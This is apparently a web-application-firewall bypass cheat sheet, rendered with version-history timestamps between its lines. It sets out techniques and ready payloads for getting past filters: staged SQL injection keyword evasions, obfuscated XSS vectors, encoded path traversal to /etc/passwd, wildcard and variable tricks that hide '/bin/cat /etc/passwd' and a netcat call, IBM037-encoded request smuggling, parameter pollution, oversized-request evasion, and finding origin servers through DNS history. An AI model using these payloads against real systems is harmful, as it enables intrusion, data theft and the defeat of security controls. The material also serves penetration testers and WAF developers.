- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
2019-02-19 20:02:17 +07:00
2019-02-27 11:01:47 +07:00
__Case__: SQL Injection
2019-02-08 20:26:46 +07:00
2019-02-06 20:46:59 +07:00
##### • Step 1:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union`
2019-06-21 22:33:01 +07:00
__Probable Regex__: `preg_match('/(and|or|union)/i', $id)`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `union select user, password from users`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
2019-02-06 20:46:59 +07:00
##### • Step 2:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`
2019-02-06 20:46:59 +07:00
##### • Step 3:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
2019-02-06 20:46:59 +07:00
##### • Step 4:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
2019-02-06 20:46:59 +07:00
##### • Step 5:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
2019-02-06 20:46:59 +07:00
##### • Step 6:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
2019-02-06 20:46:59 +07:00
##### • Step 7:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'` , `hex`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
2019-02-06 20:46:59 +07:00
##### • Step 8:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'` , `hex` , `substr`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1 || lpad(user,7,1)`
2019-02-06 20:46:59 +07:00
##### • Step 9:
2019-02-26 13:44:18 +07:00
__Keywords Filtered__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'` , `hex` , `substr` , `white space`
2019-02-27 10:30:04 +07:00
- __Blocked Attempt__: `1 || lpad(user,7,1)`
2019-02-06 20:03:23 +07:00
- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`
2019-02-22 20:27:56 +07:00
### Obfuscation:
#### Method:
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
#### Techniques:
2019-02-26 13:44:18 +07:00
__1. Case Toggling__
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
__Standard__: `<script>alert()</script>`
__Bypassed__: `<ScRipT>alert()</sCRipT>`
2019-02-26 18:46:02 +07:00
__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
2019-03-06 20:15:55 +07:00
__Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`
2019-02-26 13:44:18 +07:00
__2. URL Encoding__
2019-02-22 20:27:56 +07:00
- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like [this ](https://www.url-encode-decode.com/ ).
2019-02-26 02:25:16 +07:00
- Burp includes a in-built encoder/decoder.
2019-02-22 20:27:56 +07:00
2019-02-26 13:44:18 +07:00
__Blocked__: `<svG/x=">"/oNloaD=confirm()//`
__Bypassed__: `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`
2019-02-22 20:27:56 +07:00
2019-02-26 13:44:18 +07:00
__Blocked__: `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)`
__Bypassed__: `uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`
2019-02-22 20:27:56 +07:00
2019-06-21 22:33:01 +07:00
__3. Unicode Normalization__
2019-02-26 02:25:16 +07:00
- ASCII characters in unicode encoding encoding provide great variants for bypassing.
2019-02-26 13:44:18 +07:00
- You can encode entire/part of the payload for obtaining results.
2019-02-26 02:25:16 +07:00
2019-03-06 20:15:55 +07:00
__Standard__: `<marquee onstart=prompt()>`
__Obfuscated__: `<marquee onstart=\u0070r\u06f\u006dpt()>`
2019-02-26 02:25:16 +07:00
2019-02-28 01:50:26 +07:00
__Blocked__: `/?redir=http://google.com`
2019-03-06 20:15:55 +07:00
__Bypassed__: `/?redir=http://google。com` (Unicode alternative)
2019-02-28 01:50:26 +07:00
2019-06-21 22:37:30 +07:00
__Blocked__: `<marquee loop=1 onfinish=alert()>x`
2019-06-21 22:33:01 +07:00
__Bypassed__: `< marquee loop= 1 onfinish= alert︵1)>x` (Unicode alternative)
> __TIP:__ Have a look at [this](https://hackerone.com/reports/231444) and [this](https://hackerone.com/reports/231389) reports on HackerOne. :)
2019-02-28 01:50:26 +07:00
__Standard__: `../../etc/passwd`
__Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd`
2019-02-26 02:25:16 +07:00
2019-06-21 22:33:01 +07:00
__4. HTML Representation__
2019-05-24 09:34:28 +07:00
- Often web apps encode special characters into HTML encoding and render them accordingly.
2019-02-26 02:25:16 +07:00
- This leads us to basic bypass cases with HTML encoding (numeric/generic).
2019-02-26 13:44:18 +07:00
__Standard__: `"><img src=x onerror=confirm()>`
__Encoded__: `"><img src=x onerror=confirm()>` (General form)
__Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference)
2019-02-22 20:27:56 +07:00
2019-02-26 13:44:18 +07:00
__5. Mixed Encoding__
2019-05-24 09:34:28 +07:00
- Sometimes, WAF rules often tend to filter out a specific type of encoding.
2019-02-26 02:25:16 +07:00
- This type of filters can be bypassed by mixed encoding payloads.
2019-02-26 13:44:18 +07:00
- Tabs and newlines further add to obfuscation.
2019-02-26 02:25:16 +07:00
2019-02-26 13:44:18 +07:00
__Obfuscated__:
```
< A HREF = "h
tt p://6 6.000146.0x7.147/">XSS< / A >
```
2019-02-26 02:25:16 +07:00
2019-02-26 13:44:18 +07:00
__6. Using Comments__
2019-02-26 02:25:16 +07:00
- Comments obfuscate standard payload vectors.
- Different payloads have different ways of obfuscation.
2019-02-22 20:27:56 +07:00
2019-02-26 13:44:18 +07:00
__Blocked__: `<script>alert()</script>`
__Bypassed__: `<!--><script>alert/**/()/**/</script>`
2019-02-26 02:25:16 +07:00
2019-03-06 20:15:55 +07:00
__Blocked__: `/?id=1+union+select+1,2,3--`
__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
2019-02-26 02:25:16 +07:00
2019-02-26 13:44:18 +07:00
__7. Double Encoding__
2019-02-26 02:25:16 +07:00
- Often WAF filters tend to encode characters to prevent attacks.
- However poorly developed filters (no recursion filters) can be bypassed with double encoding.
2019-02-26 13:44:18 +07:00
__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
2019-02-26 02:25:16 +07:00
2019-03-06 20:15:55 +07:00
__Standard__: `<script>alert()</script>`
__Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
2019-02-26 02:25:16 +07:00
2019-06-21 22:33:01 +07:00
__8. Wildcard Obfuscation__
2019-02-22 20:27:56 +07:00
- Globbing patterns are used by various command-line utilities to work with multiple files.
- We can tweak them to execute system commands.
- Specific to remote code execution vulnerabilities on linux systems.
2019-02-26 13:44:18 +07:00
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/???/??t /???/??ss??`
2019-02-22 20:27:56 +07:00
Used chars: `/ ? t s`
2019-02-26 13:44:18 +07:00
__Standard__: `/bin/nc 127.0.0.1 1337`
__Obfuscated__: `/???/n? 2130706433 1337`
2019-02-22 20:27:56 +07:00
Used chars: `/ ? n [0-9]`
2019-06-03 14:48:59 +07:00
__9. Dynamic Payload Generation__
2019-02-26 02:25:16 +07:00
- Different programming languages have different syntaxes and patterns for concatenation.
- This allows us to effectively generate payloads that can bypass many filters and rules.
2019-02-22 20:27:56 +07:00
2019-03-08 12:31:37 +07:00
__Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>eval('al'+'er'+'t()')</script>`
2019-02-27 14:58:29 +07:00
2019-02-26 13:44:18 +07:00
__Standard__: `/bin/cat /etc/passwd`
2019-03-06 20:15:55 +07:00
__Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
2019-02-26 02:25:16 +07:00
> Bash allows path concatenation for execution.
2019-02-22 20:27:56 +07:00
2019-02-26 13:44:18 +07:00
__Standard__: `<iframe/onload='this["src"]="javascript:alert()"';>`
__Obfuscated__: `<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>`
2019-06-03 14:48:59 +07:00
__9. Junk Characters__
2019-02-26 13:44:18 +07:00
- Normal payloads get filtered out easily.
2019-02-27 11:01:47 +07:00
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
2019-02-26 13:44:18 +07:00
__Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>+-+-1-+-+alert(1)</script>`
2019-02-27 11:01:47 +07:00
__Standard__: `<BODY onload=alert()>`
__Obfuscated__: ```< BODY onload !#$%&()*~+ -_ ., : ;?@[/| \]^`= alert () > ```
2019-05-24 09:34:28 +07:00
> __NOTE:__ The above payload can break the regex parser to cause an exception.
2019-02-27 11:01:47 +07:00
2019-02-26 13:44:18 +07:00
__Standard__: `<a href=javascript;alert()>ClickMe `
2019-02-27 14:58:29 +07:00
__Bypassed__: `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe`
2019-02-26 13:44:18 +07:00
__10. Line Breaks__
- Many WAF with regex based filtering effectively blocks many attempts.
- Line breaks (CR/LF) can break firewall regex and bypass stuff.
2019-06-03 14:48:59 +07:00
__Standard__: `<iframe src=javascript:confirm(0)">`
__Obfuscated__: `<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">`
2019-02-26 13:44:18 +07:00
__11. Uninitialized Variables__
2019-02-27 14:58:29 +07:00
- Uninitialized bash variables can evade bad regular expression based filters and pattern match.
2019-06-21 22:33:01 +07:00
- These have value equal to null/they act like empty strings.
2019-02-26 13:44:18 +07:00
- Both bash and perl allow this kind of interpretations.
2019-02-27 14:58:29 +07:00
> __BONUS:__ Variable names can have any number of random characters. I have represented them here as `$aaaaaa`, `$bbbbbb`, and so on. You can replace them with any number of random chars like `$ushdjah` and so on. ;)
2019-02-28 01:40:21 +07:00
- __Level 1 Obfuscation__: Normal
2019-02-27 14:58:29 +07:00
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/bin/cat$u /etc/passwd$u`
2019-02-28 01:40:21 +07:00
- __Level 2 Obfuscation__: Postion Based
2019-02-27 14:58:29 +07:00
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: < code > $u< b > /bin< / b > $u< b > /cat< / b > $u $u< b > /etc< / b > $u< b > /passwd< / b > $u< / code >
2019-06-21 22:33:01 +07:00
- __Level 3 Obfuscation__: Random characters
2019-02-27 14:58:29 +07:00
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: < code > $aaaaaa< b > /bin< / b > $bbbbbb< b > /cat< / b > $ccccccc $dddddd< b > /etc< / b > $eeeeeee< b > /passwd< / b > $fffffff< / code >
2019-02-27 15:01:09 +07:00
An exotic payload crafted:
2019-02-28 01:40:21 +07:00
```
2019-02-28 01:50:26 +07:00
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
2019-02-28 01:40:21 +07:00
```
2019-02-22 20:27:56 +07:00
2019-06-09 00:30:15 +07:00
__12. Tabs and Line Feeds__
2019-02-27 11:01:47 +07:00
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
__Standard__: `<IMG SRC="javascript:alert();">`
__Bypassed__: `<IMG SRC=" javascript:alert();">`
2019-03-06 20:08:11 +07:00
__Variant__: `<IMG SRC=" jav ascri pt:alert ();">`
2019-02-27 11:01:47 +07:00
2019-06-09 00:30:15 +07:00
__Standard__: `http://test.com/test?id=1 union select 1,2,3`
__Standard__: `http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3`
2019-02-27 11:01:47 +07:00
__Standard__: `<iframe src=javascript:alert(1)></iframe>`
2019-02-27 13:14:29 +07:00
__Obfuscated__:
```
2019-06-03 14:48:59 +07:00
< iframe src = j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29 > < / iframe >
2019-02-27 13:14:29 +07:00
```
2019-02-27 11:01:47 +07:00
2019-06-09 00:30:15 +07:00
__13. Token Breakers__
- Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
- Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
- However, the request must still remain valid while using token-breakers.
2019-06-21 22:37:30 +07:00
- __Case__: Unknown Token for the Tokenizer
- __Payload__: `?id=‘ -sqlite_version() UNION SELECT password FROM users --`
2019-06-09 00:30:15 +07:00
2019-06-21 22:37:30 +07:00
- __Case__: Unknown Context for the Parser (Notice the uncontexted bracket)
- __Payload 1__: `?id=123);DROP TABLE users --`
- __Payload 2__: `?id=1337) INTO OUTFILE ‘ xxx’ --`
2019-06-09 00:30:15 +07:00
> __TIP:__ More payloads can be crafted via this [cheat sheet](https://github.com/attackercan/cpp-sql-fuzzer).
__14. Obfuscation in Other Formats__
2019-05-23 23:26:02 +07:00
- Many web applications support different encoding types and can interpret the encoding (see below).
- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
2019-03-27 12:15:58 +07:00
__Case:__ IIS
- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow __IBM037__ character interpretations.
- We can encode our payload and send the encoded parameters with the query.
Original Request:
```
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
```
Obfuscated Request + URL Encoding:
```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
```
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
2019-04-02 22:09:40 +07:00
> __TIP:__ You can use [this small python script](others/obfu.py) to convert your payloads and parameters to your desired encodings.
2019-03-27 12:15:58 +07:00
< table >
< tr >
< td width = "20%" align = "center" > < b > Target< / b > < / td >
< td width = "35%" align = "center" > < b > Encodings< / b > < / td >
< td width = "55%" align = "center" > < b > Notes< / b > < / td >
< / tr >
< tr >
< td > Nginx, uWSGI-Django-Python3< / td >
< td > IBM037, IBM500, cp875, IBM1026, IBM273< / td >
< td >
< ul >
< li > Query string and body need to be encoded.< / li >
< li > Url-decoded parameters in query string and body.< / li >
< li > Equal sign and ampersand needed to be encoded as well (no url-encoding).< / li >
< / ul >
< / td >
< / tr >
< tr >
< td > Nginx, uWSGI-Django-Python2< / td >
< td > IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424< / td >
< td >
< ul >
< li > Query string and body need to be encoded.< / li >
< li > Url-decoded parameters in query string and body afterwards.< / li >
< li > Equal sign and ampersand should not be encoded in any way.< / li >
< / ul >
< / td >
< / tr >
< tr >
< td > Apache-TOMCAT8-JVM1.8-JSP< / td >
< td > IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,
IBM424, IBM-Thai, IBM871, cp1025< / td >
< td >
< ul >
< li > Query string in its original format (could be url-encoded as usual).< / li >
< li > Body could be sent with/without url-encoding.< / li >
< li > Equal sign and ampersand should not be encoded in any way.< / li >
< / ul >
< / td >
< / tr >
< tr >
< td > Apache-TOMCAT7-JVM1.6-JSP< / td >
< td > IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
IBM280, IBM284, IBM285, IBM297, IBM420, IBM424,
IBM-Thai, IBM871, cp1025< / td >
< td >
< ul >
< li > Query string in its original format (could be url-encoded as usual).< / li >
< li > Body could be sent with/without url-encoding.< / li >
< li > Equal sign and ampersand should not be encoded in any way.< / li >
< / ul >
< / td >
< / tr >
< tr >
< td > IIS6, 7.5, 8, 10 -ASPX (v4.x)< / td >
< td > IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01047, IBM01140, IBM01141, IBM01142, IBM01143,
IBM01144, IBM01145, IBM01146, IBM01147, IBM01148,
IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE,
IBM273, IBM277, IBM278, IBM280, IBM284, IBM285,
IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended,
IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025< / td >
< td >
< ul >
< li > Query string in its original format (could be url-encoded as usual).< / li >
< li > Body could be sent with/without url-encoding.< / li >
< li > Equal sign and ampersand should not be encoded in any way.< / li >
< / ul >
< / td >
< / tr >
< / table >
2019-06-21 22:33:01 +07:00
### HTTP Parameter Pollution
#### Method:
- This attack method is based on how a server interprets parameters with the same names.
- Possible bypass chances here are:
- The server uses the last received parameter, and WAF checks only the first.
- The server unites the value from similar parameters, and WAF checks them separately.
#### Technique:
- The idea is to enumerate how the parameters are being interpreted by the server.
- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
- Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
< table >
< tr >
< td width = "40%" align = "center" > < b > Environment< / b > < / td >
< td width = "40%" align = "center" > < b > Parameter Interpretation< / b > < / td >
< td align = "center" > < b > Example< / b > < / td >
< / tr >
< tr >
< td align = "center" > ASP/IIS< / td >
< td align = "center" > Concatenation by comma< / td >
< td align = "center" > par1=val1,val2< / td >
< / tr >
< tr >
< td align = "center" > JSP, Servlet/Apache Tomcat< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > ASP.NET/IIS< / td >
< td align = "center" > Concatenation by comma< / td >
< td align = "center" > par1=val1,val2< / td >
< / tr >
< tr >
< td align = "center" > PHP/Zeus< / td >
< td align = "center" > Last parameter is resulting< / td >
< td align = "center" > par1=val2< / td >
< / tr >
< tr >
< td align = "center" > PHP/Apache< / td >
< td align = "center" > Last parameter is resulting< / td >
< td align = "center" > par1=val2< / td >
< / tr >
< tr >
< td align = "center" > JSP, Servlet/Jetty< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > IBM Lotus Domino< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > IBM HTTP Server< / td >
< td align = "center" > Last parameter is resulting< / td >
< td align = "center" > par1=val2< / td >
< / tr >
< tr >
< td align = "center" > mod_perl, libapeq2/Apache< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > Oracle Application Server 10G< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > Perl CGI/Apache< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > Python/Zope< / td >
< td align = "center" > First parameter is resulting< / td >
< td align = "center" > par1=val1< / td >
< / tr >
< tr >
< td align = "center" > IceWarp< / td >
< td align = "center" > An array is returned< / td >
< td align = "center" > ['val1','val2']< / td >
< / tr >
< tr >
< td align = "center" > AXIS 2400< / td >
< td align = "center" > Last parameter is resulting< / td >
< td align = "center" > par1=val2< / td >
< / tr >
< tr >
< td align = "center" > DBMan< / td >
< td align = "center" > Concatenation by two tildes< / td >
< td align = "center" > par1=val1~~val2< / td >
< / tr >
< tr >
< td align = "center" > mod-wsgi (Python)/Apache< / td >
< td align = "center" > An array is returned< / td >
< td align = "center" > ARRAY(0x8b9058c)< / td >
< / tr >
< / table >
### HTTP Parameter Fragmentation
- HPF is based on the principle where the server unites the value being passed along the parameters.
- We can split the payload into different components and then pass the values via the parameters.
__Sample Payload__: `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS`
__Sample Query URL__: `http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS`
> __TIP:__ A real life example how bypasses can be crafted using this method can be found [here](http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/005673.html).
2019-02-19 20:02:17 +07:00
### Browser Bugs:
#### Charset Bugs:
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
- When the site decodes the string, the payload gets triggered.
Example request:
< pre >
2019-03-06 20:08:11 +07:00
GET < b > /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀< / b > HTTP/1.1
2019-02-26 13:44:18 +07:00
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
< b > Accept-Charset:utf-32; q=0.5< / b >
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
2019-02-19 20:02:17 +07:00
< / pre >
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
2019-03-06 20:08:11 +07:00
then as the output encoding of the page is UTF-8, it will be rendered as: `"<script>alert (1) </ script>` which will trigger XSS.
Final URL encoded payload:
```
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```
2019-02-19 20:02:17 +07:00
#### Null Bytes:
- The null bytes are commonly used as string terminator.
- This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
```
< scri % 00pt > alert(1);< /scri%00pt>
< scri \x00pt > alert(1);< /scri%00pt>
< s % 00c % 00r % 00 % 00ip % 00t > confirm(0);< /s%00c%00r%00%00ip%00t>
```
2019-06-09 00:30:15 +07:00
__Standard__: `<a href="javascript:alert()">`
__Obfuscated__: `<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>`
__Variant__: `<a 0x00 href="javascript:alert(1)">clickme</a>`
2019-02-19 20:02:17 +07:00
#### Parsing Bugs:
- RFC states that NodeNames cannot begin with whitespace.
- But we can use special chars like ` %` , `//` , `!` , `?` , etc.
Examples:
- `<// style=x:expression\28write(1)\29>` - Works upto IE7 _([Source](http://html5sec.org/#71))_
- `<!--[if]><script>alert(1)</script -->` - Works upto IE9 _([Reference](http://html5sec.org/#115))_
- `<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>` - Works in IE7 _([Reference](http://html5sec.org/#77))_
- `<%div%20style=xss:expression(prompt(1))>` - Works Upto IE7
#### Unicode Separators:
- Every browser has their own specific charset of separators.
2019-03-19 13:30:25 +07:00
- We can fuzz charset range of `0x00` to `0xFF` and get the set of separators for each browser.
- We can use these separators in places where a space is required.
2019-02-19 20:02:17 +07:00
2019-03-19 13:30:25 +07:00
Here is a compiled list of separators by [@Masato Kinugawa ](https://github.com/masatokinugawa ):
2019-02-19 20:02:17 +07:00
- IExplorer: `0x09` , `0x0B` , `0x0C` , `0x20` , `0x3B`
- Chrome: `0x09` , `0x20` , `0x28` , `0x2C` , `0x3B`
- Safari: `0x2C` , `0x3B`
- FireFox: `0x09` , `0x20` , `0x28` , `0x2C` , `0x3B`
- Opera: `0x09` , `0x20` , `0x2C` , `0x3B`
- Android: `0x09` , `0x20` , `0x28` , `0x2C` , `0x3B`
2019-03-19 13:30:25 +07:00
An exotic payload example:
2019-02-19 20:02:17 +07:00
```
< a / onmouseover [ \x0b ]= location = ' \x6A \x61 \x76 \x61 \x73 \x63 \x72 \x69 \x70 \x74 \x3A \x61 \x6C \x65 \x72 \x74 \x28 \x30 \x29 \x3B' > pwn3d
```
2019-06-21 22:33:01 +07:00
### Using Atypical Equivalent Syntactic Structures
- This method aims at finding a way of exploitation not considered by the WAF developers.
- Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
- This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
- JavaScript functions:
- `window`
- `parent`
- `this`
- `self`
- Tag attributes:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- SQL Operators
- `lpad`
- `field`
- `bit_count`
Example Payloads:
- __Case:__ XSS
```
< script > window [ 'alert' ] ( 0 ) < / script >
< script > parent [ 'alert' ] ( 1 ) < / script >
< script > self [ 'alert' ] ( 2 ) < / script >
```
- __Case:__ SQLi
```
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
```
Many alternatives to the original JavaScript can be used, namely:
- [JSFuck ](http://www.jsfuck.com/ )
- [JJEncode ](http://utf-8.jp/public/jjencode.html )
- [XChars.JS ](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html )
> However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
2019-05-24 09:34:28 +07:00
### Abusing SSL/TLS Ciphers:
- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
#### Technique:
- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
- Find out the ciphers supported by the server (tools like [SSLScan ](https://github.com/rbsec/sslscan ) helps here).
- If a specific cipher not supported by WAF but by the server, is found, voila!
- Initiating a new connection to the server with that specific cipher should smuggle our payload in.
> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)
```
python abuse-ssl-bypass-waf.py -thread 4 -target < target >
```
CLI tools like cURL can come very handy for PoCs:
```
curl --ciphers < cipher > -G < test site > -d < payload with parameter >
```
2022-03-12 11:52:44 +07:00
### Abuse WAF limit on HTTP Responses
#### Method
- Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle.
- By sending a HTTP request with a size __greater than the limit__ , we can fully evade WAFs.
#### Technique
- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
- Once done, attach your payload to the request after filling the limit with garbage.
> A similar technique was used to [bypass Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).
2019-05-24 09:34:28 +07:00
### Abusing DNS History:
- Often old historical DNS records provide information about the location of the site behind the WAF.
- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
> __TIP:__ Some online services like [IP History](http://www.iphistory.ch/en/) and [DNS Trails](https://securitytrails.com/dns-trails) come to the rescue during the recon process.
__Tool__: [bypass-firewalls-by-DNS-history ](https://github.com/vincentcox/bypass-firewalls-by-DNS-history )
```
bash bypass-firewalls-by-DNS-history.sh -d < target > --checkall
```
2019-10-14 00:05:58 +07:00
### Using Whitelist Strings:
#### Method:
- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
#### Technique:
2020-08-15 13:37:39 +07:00
- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
2019-10-14 00:05:58 +07:00
